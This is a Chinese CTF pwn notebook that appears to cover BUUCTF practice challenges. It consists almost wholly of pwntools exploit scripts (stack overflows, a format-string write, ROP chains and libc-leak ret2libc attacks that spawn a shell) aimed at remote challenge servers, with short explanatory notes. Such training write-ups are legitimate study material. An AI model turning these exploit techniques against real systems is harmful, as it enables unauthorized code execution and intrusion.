test_your_nc
接触buu接触pwn的第一题,会用nc就有flag
程序分析内部直接/bin/sh
rip
简单的栈溢出,溢出0x17字符就行,/bin/sh的地址有
from pwn import *
context(os='linux', log_level= 'debug', arch='amd64')
io = remote('node5.buuoj.cn',26899)
system = 0x40118A
payload = b'a' * 16 + p64(system)
io.sendline(payload)
io.interactive()
warmup_csaw_2016
还是一样简单栈溢出,没有给/bin/sh但是给了cat flag, 一样使用的,并且运行远程环境的时候,给了cat flag 地址。
from pwn import *
context(os='linux', log_level='debug', arch='amd64')
io = remote('node5.buuoj.cn',27665)
cat_flag = 0x40060D
payload = b'a' * 0x48 + p64(cat_flag)
io.sendline(payload)
io.interactive()
ciscn_2019_n_1
数组越界,从v1越到v2并且把浮点型改为16进制
from pwn import *
io = remote('node5.buuoj.cn',28813)
git = 0x41348000
payload = b'a' * 44 + p64(git)
io.sendline(payload)
io.interactive()
pwn1_sctf_2016
需要溢出64个才行,但是没有那么多输入,但是可以看到输入一个大写的I可以变成you,所以思路就有了,输入20个I,变成60you,再加4个就可以溢出了;当然也可以输入21个I,在输入一个a就可以溢出
from pwn import *
context(os='linux',log_level='debug',arch='i386')
io = remote('node5.buuoj.cn',27654)
get_flag = 0x08048F0D
payload = b'I' * 21 + b'a' + p32(get_flag)
io.sendline(payload)
io.interactive()
jarvisoj_level0
基础练习栈溢出,程序有system
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io = remote('node5.buuoj.cn',28866)
system = 0x400596
payload = b'a' * 0x88 + p64(system)
io.sendline(payload)
io.interactive()
[第五空间2019 决赛]PWN5
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25683)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
payload = fmtstr_payload(10, {0x804C044:0x1})
rl(b'your name:')
sl(payload)
rl(b'your passwd:')
sl('1')
inter()
jarvisoj_level2
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25729)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
system = 0x8048320
bin_sh = 0x0804A024
payload = b'a' * 0x8c + p32(system) + p32(8) + p32(bin_sh)
sl(payload)
inter()
ciscn_2019_n_8
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28645)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
payload = b'a' * 52 + p32(17)
sl(payload)
inter()
bjdctf_2020_babystack
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 27731)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
sl('1111')
rl(b'name?')
backdoor = 0x00000000004006E6
payload = b'a' * 0x18 + p64(backdoor)
sl(payload)
inter()
ciscn_2019_c_1
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26729)
elf = ELF('./ciscn')
#libc = ELF('./libc')
'''
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
'''
pop_rdi = 0x0000000000400c83
ret_addr = 0x00000000004006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
sl(b'1')
rl(b'encrypted')
payload = b'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sl(payload)
#rl(b'text')
#rl(b'\n')
#p.recvline()
#p.recvline()
puts_addr =l64()
lg('puts_addr',puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
#get_sb()
system_addr = libc_base + libc.dump('system')
#bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')
bin_sh = libc_base + libc.dump('str_bin_sh')
lg('libc_base',libc_base)
lg('system',system_addr)
lg('bin_sh',bin_sh)
rl(b'chine\n')
sl(b'1')
rl(b'encrypted')
payload = b'a' * 0x58 + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
sl(payload)
inter()
get_started_3dsctf_2016
from pwn import *
# io = process("./get_started_3dsctf_2016")
io = remote("node5.buuoj.cn",26489)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0) # get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()
jarvisoj_level2_x64
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 27953)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
'''
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
'''
bin_sh = 0x600A90
system = 0x4004C0
pop_rdi = 0x00000000004006b3
payload = b'a' * 0x88 + p64(pop_rdi) + p64(bin_sh) + p64(system)
sl(payload)
inter()
[HarekazeCTF2019]baby_rop
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26488)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
'''
============================================================
0x000000000040067c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040067e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400680 : pop r14 ; pop r15 ; ret
0x0000000000400682 : pop r15 ; ret
0x000000000040067b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040067f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400540 : pop rbp ; ret
0x0000000000400683 : pop rdi ; ret
0x0000000000400681 : pop rsi ; pop r15 ; ret
0x000000000040067d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400479 : ret
0x00000000004005fa : ret 0xfffe
'''
pop_rdi = 0x0000000000400683
system = 0x0400490
binsh = 0x601048
payload = b'a' * 0x18 + p64(pop_rdi) + p64(binsh) + p64(system)
sl(payload)
inter()
[OGeek2019]babyrop
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 29618)
elf = ELF('./OGeek_babyrop')
libc = ELF('./libc-2.23.so')
payload = b'\x00' + b'\xff' * 7
sl(payload)
rl('Correct\n')
main = 0x08048825
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = b'a' * 0xEB + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
sl(payload)
write_addr = l32()
lg('write_addr', write_addr)
libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
lg('libc_base',libc_base)
lg('system', system)
lg('bin_sh', binsh)
payload = b'\x00' + b'\xff' * 7
sl(payload)
rl('Correct\n')
payload = b'a' * 0xEB + p32(system) + p32(0) + p32(binsh)
sl(payload)
inter()
#https://blog.csdn.net/Invin_cible/article/details/121322885
ciscn_2019_n_5
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26644)
elf = ELF('./ciscn')
#libc = ELF('./libc')
'''
============================================================
0x000000000040070c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040070e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400710 : pop r14 ; pop r15 ; ret
0x0000000000400712 : pop r15 ; ret
0x000000000040070b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040070f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop rbp ; ret
0x0000000000400713 : pop rdi ; ret
0x0000000000400711 : pop rsi ; pop r15 ; ret
0x000000000040070d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004c9 : ret
0x0000000000400532 : ret 0x200a
'''
pop_rdi = 0x0000000000400713
ret = 0x00000000004004c9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
sl('abiu')
rl('me?')
payload = b'a' * 0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sl(payload)
puts_addr = l64()
lg('puts_addr', puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
binsh = libc_base + libc.dump('str_bin_sh')
system = libc_base + libc.dump('system')
lg('libc_base', libc_base)
lg('bin_sh', binsh)
lg('system', system)
sl('abiu')
rl('me?')
payload = b'a' * 0x28 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
sl(payload)
inter()
not_the_same_3dsctf_2016
libc泄露
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25715)
elf = ELF('./same')
#libc = ELF('./libc')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
payload = b'a' * 0x31 + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
sl(payload)
write_addr = l32()
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
lg('write_addr',write_addr)
lg('libc_base', libc_base)
lg('system', system)
lg('binsh', binsh)
payload = b'a' * 0x31 + p32(binsh) + p32(0) + p32(system)
sl(payload)
inter()
#利用puts和exit输出flag
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25715)
elf = ELF('./same')
#libc = ELF('./libc')
flag = 0x080489A0
eixt = 0x0804E660
stack = 0x080ECA2D
printf = 0x0804F0A0
payload = b'a' * 0x2d + p32(flag) + p32(printf) + p32(eixt) + p32(stack)
sl(payload)
inter()
ciscn_2019_en_2
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 29324)
elf = ELF('./ciscn')
#libc = ELF('./libc')
'''
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
'''
padding = 0x58
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
sl('1')
payload = b'a' * padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
rl('encrypted')
sl(payload)
puts_addr = l64()
lg('puts_addr',puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
lg('liabc_base',libc_base)
lg('system',system)
lg('binsh',binsh)
rl('choice!')
sl('1')
payload = b'a' * padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
rl('encrypted')
sl(payload)
inter()
ciscn_2019_ne_5
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25567)
elf = ELF('./ciscn')
#libc = ELF('./libc')
'''
============================================================
0x080482ea : sh
'''
system = elf.sym['system']
sh = 0x080482ea
padding = 0x4c
sla('password','administrator')
rl('0.Exit\n:')
sl('1')
rl('info:')
payload = b'a' * padding + p32(system) + b'si44' + p32(sh)
sl(payload)
rl('0.Exit\n:')
sl('4')
inter()
#https://blog.csdn.net/m0_71081503/article/details/127707560
铁人三项(第五赛区)_2018_rop
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26364)
elf = ELF('./2018_rop')
#libc = ELF('./libc')
padding = 0x8c
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
payload = b'a' * padding + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
sl(payload)
write_addr = l32()
lg('write_addr',write_addr)
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
lg('libc_base',libc_base)
lg('system',system)
lg('binsh',binsh)
payload = b'a' * padding + p32(system) + p32(0) + p32(binsh)
sl(payload)
inter()
bjdctf_2020_babystack2
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
